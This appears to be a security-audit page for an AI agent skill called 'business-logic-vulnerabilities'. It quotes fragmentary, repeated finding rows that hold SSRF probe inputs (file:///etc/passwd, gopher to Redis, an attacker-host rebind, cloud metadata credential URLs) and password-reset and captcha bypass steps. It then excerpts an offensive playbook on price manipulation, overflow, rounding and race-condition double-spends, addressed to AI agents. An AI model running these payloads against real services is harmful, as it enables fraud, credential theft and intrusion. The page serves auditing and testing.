business-logic-vulnerabilities

What the source does

• FilesystemNone observedNo reads or writes in the source
• NetworkNone observedNo outbound calls in the source
• ShellNone observedNo commands run in the source
• DependenciesPinnedNothing floats
• SecretsNone foundNo keys in source

Five audit layers

Gates applied: no behavioural pass.

□ 2FA bypass by direct URL access after password step

| 任意"导入 URL / 拉取图片 / Webhook 回调 / 预览链接"接口禁用 `file://` / `gopher://` / `dict://` / `jar://` / `php://` 协议 | 否则 SSRF 全套:读本地文件、攻击内网、命令执行 | 把 URL 改 `file:///etc/passwd`、`gopher://127.0.0.1:6379/_INFO`、`ht

| URL 输入做"DNS resolve + 解析后再校验",禁止解析到内网 IP / 保留段 | 仅匹配字符串可被 DNS rebind 或 `127.0.0.1.nip.io` 绕过 | 用 `http://attacker.tld`(A 记录指向 169.254.169.254)发 SSRF,重定向到内网看是否打通 |

| 出网请求出口走"白名单 + 出口防火墙"策略 | 内部资产可被打到云元数据 / 内网中间件 | 用 `http://169.254.169.254/latest/meta-data/`(AWS)/ `http://metadata.google.internal/` 探云元数据 |

http://169.254.169.254/latest/meta-data/                  # AWS

http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>

| 任意"导入 URL / 拉取图片 / Webhook 回调 / 预览链接"接口禁用 `file://` / `gopher://` / `dict://` / `jar://` / `php://` 协议 | 否则 SSRF 全套:读本地文件、攻击内网、命令执行 | 把 URL 改 `file:///etc/passwd`、`gopher://127.0.0.1:6379/_INFO`、`ht

| 重定向跟随的 URL 同样走 SSRF 校验,不能"首跳合法→302→内网" | 多数 SSRF 通过 302 跳板成立 | 攻击者域名返回 `302 Location: http://127.0.0.1:8500/`,看目标是否跟随 |

| 出网请求出口走"白名单 + 出口防火墙"策略 | 内部资产可被打到云元数据 / 内网中间件 | 用 `http://169.254.169.254/latest/meta-data/`(AWS)/ `http://metadata.google.internal/` 探云元数据 |

http://169.254.169.254/latest/meta-data/                  # AWS

http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>

# Step 4: Submit new password → server uses session state (which user) not the parameter

2. COOKIE TRICK: Delete JSESSIONID → send → server resets per-session counter to 0

1. Attacker: request password reset for [email protected] → receive email with valid token

2. Attacker: open the email link → reach "enter new password" page (server tracks "in-progress reset" in session)

**Root cause**: server stores "reset in progress" in the session but does NOT bind it to the originally-validated email. Defense: tie the session entry to the specific user/email; fail closed if the b

2. Attacker: open the email link → reach "enter new password" page (server tracks "in-progress reset" in session)

Audit 0.4.1 · source sha a6bc8e8fefb6 · 31 Oct 2026Report an issue or request a re-scan

• Publisheryaklang GitHub organizationOwner of the repository this skill is read from
• Source folderyaklang/hack-skills/skills/business-logic-vulnerabilitiesThe exact folder we audited
• LicenceMITAs the repository states it
• Commit pinned for this verdicta6bc8e8fefb6A new audit runs when the source changes
• Repository statusNot archivedLast push 48 days ago
• Sandboxed runNot runSkills are read, not executed; layer L4 is skipped

Its description: Business logic vulnerability playbook. Use when reasoning about workflows, race conditions, price manipulation, coupon abuse, state machines, and multi-step authorization gaps.

---
name: business-logic-vulnerabilities
description: >-
  Business logic vulnerability playbook. Use when reasoning about workflows, race conditions, price manipulation, coupon abuse, state machines, and multi-step authorization gaps.
---

# SKILL: Business Logic Vulnerabilities — Expert Attack Playbook

> **AI LOAD INSTRUCTION**: Business logic flaws are scanner-invisible and high-reward on bug bounty. This skill covers race conditions, price manipulation, workflow bypass, coupon/referral abuse, negative values, and state machine attacks. These require human reasoning, not automation. For specific exploitation techniques (payment precision/overflow, captcha bypass, password reset flaws, user enumeration), load the companion [SCENARIOS.md](./SCENARIOS.md). For the workflow approach itself (modeling → state machine → attack-surface matrix → human judgement) load [METHODOLOGY.md](./METHODOLOGY.md). For the per-module check items load [CHECKLIST.md](./CHECKLIST.md).

### Companion files

| File | When to load |
|---|---|
| [METHODOLOGY.md](./METHODOLOGY.md) | Need the 5-phase workflow, attack-surface 5×N matrix, human-judgement decision tree |
| [CHECKLIST.md](./CHECKLIST.md) | Going through a target module-by-module (login / register / payment / IDOR / privacy) and want every line item with why+verify |
| [SCENARIOS.md](./SCENARIOS.md) | Drilling deeper into payment precision/overflow, captcha bypass, password reset, enumeration, frontend bypass |

### Extended Scenarios

Also load [SCENARIOS.md](./SCENARIOS.md) when you need:
- Payment precision & integer overflow attacks — 32-bit overflow to negative, decimal rounding exploitation, negative shipping fees
- Payment parameter tampering checklist — price, discount, currency, gateway, return_url fields
- Condition race practical patterns — parallel coupon application, gift card double-spend with Burp group send
- Captcha bypass techniques — drop verification request, remove parameter, clear cookies to reset counter, OCR with tesseract
- Arbitrary password reset — predictable tokens (`md5(username)`), session replacement attack, registration overwrite
- User information enumeration — login error message difference, masked data reconstruction across endpoints, base64 uid cookie manipulation
- Frontend restriction bypass — array parameters for multiple coupons (`couponid[0]`/`couponid[1]`), remove `disabled`/`readonly` attributes
- Application-layer DoS patterns — regex backtracking, WebSocket abuse

---

## 1. PRICE AND VALUE MANIPULATION

### Negative Quantity / Price
Many applications validate "amount > 0" but not for currency:
```
Add to cart with quantity: -1
Update quantity to: -100
{
  "quantity": -5,
  "price": -99.99     ← may be accepted
}
```
**Impact**: Receive credit to account, items for free, bank transfers in reverse.

### Decimal Quantity — "0元购" Case
Real instructor-led case: an e-commerce app accepted **fractional `quantity`** because backend trusted client float values:
```json
// Cart item:
{"id": 114016, "skuQty": 0.02}
// Original price ¥500 → final price ¥10
// Variant on a food delivery app:
// FoodNum=0.01 → 68元 商品 实付 0.68元
```
Why it works: server multiplies `unit_price * quantity` without enforcing `quantity ∈ Z+`, so a 2% sliver order pays 2% price but ships the full item. Reproduce by intercepting the cart submit → setting `skuQty` / `FoodNum` to `0.02` → finishing checkout.

### Drop a Required Field — Free Tier Coercion
Sport activity registration: when paid prizes are involved server returns `"payType": "paid"`; if the client request is **edited to omit `prizeIdList` entirely**, the server falls back to `"payType": "free"` and creates a successful registration that should have cost money.
```json
// Original
{"prizeIdList": ["6264e6948fe587000113e2d9"], ...}
// Modified — array removed entirely
{"prizeIdList": [], ...}
// Server response:
{"ok": true, "payType": "free"}
```
This is a parameter-existence trust bug — backend treats "field absent" as "no paid item to enforce", so fix is to require the field and validate its content server-side.

### Integer Overflow
```
quantity: 2147483648   ← INT_MAX + 1 overflows to negative in 32-bit
price: 9999999999999   ← exceeds float precision → rounds to 0
```
Real case: setting `amount=999999999` triggered an overflow path where the system stored `0` as final payable. **Always coordinate before triggering overflow tests** — they sometimes crash payment services.

### Rounding Manipulation
```
Item price: $0.001
Order 1000 items → each rounds down → total = $0.00
```
Real "half-price recharge" bug: input `¥0.019` to top-up. The pay gateway charges only `¥0.01` (rounded down to the cent), but the wallet credits `¥0.02` (rounded up). Net gain per cycle is `¥0.01`, repeat for free balance growth.

### Currency Exchange Rate Lag
```
1. Deposit using currency A at rate X
2. Rate changes
3. Withdraw using currency A at new rate → profit from rate difference
```

### Free Upgrade via Promo Stacking
Test combining discount codes, referral credits, welcome bonuses:
```
Apply promo: FREE50  → 50% off
Apply promo: REFER10 → additional 10%
Apply loyalty points → additional discount
Total: -$5 (free + credit)
```

---

## 2. RACE CONDITIONS

**Concept**: Two operations run simultaneously before the first completes its check-update cycle.

### Double-Spend / Double-Redeem
```bash
# Send same request simultaneously (~millisecond apart):
# Use Burp Repeater "Send to Group" or Race Conditions tool:

POST /api/use-coupon    ← send 20 parallel requests
POST /api/redeem-gift   ← same coupon code, parallel
POST /api/withdraw-funds ← same balance, parallel

# If check and update are non-atomic:
# Thread 1: check(balance >= 100) → TRUE
# Thread 2: check(balance >= 100) → TRUE (before Thread 1 deducted)
# Thread 1: balance -= 100
# Thread 2: balance -= 100 → BOTH succeed → double-spend
```

### Race Condition Test with Burp Suite
```
1. Capture request
2. Send to Repeater → duplicate 20+ times

Excerpt, first 6,000 characters of SKILL.md, verbatim from the audited commit. It is text from someone else’s repository, quoted so you can judge it before your agent reads it.

git clone https://github.com/yaklang/hack-skills
git -C hack-skills checkout a6bc8e8fefb6

Works in

1. 2026-10-31
   !CAUTION B 86 / 100

   first audit · source a6bc8e8fefb6

Questions about business-logic-vulnerabilities

• github.com/yaklang/hack-skills/tree/main/skills/business-logic-v — the audited source at commit a6bc8e8fefb6 and every finding aboveObserved · 31 Oct 2026

Spotted something wrong? Report a correction · Methodology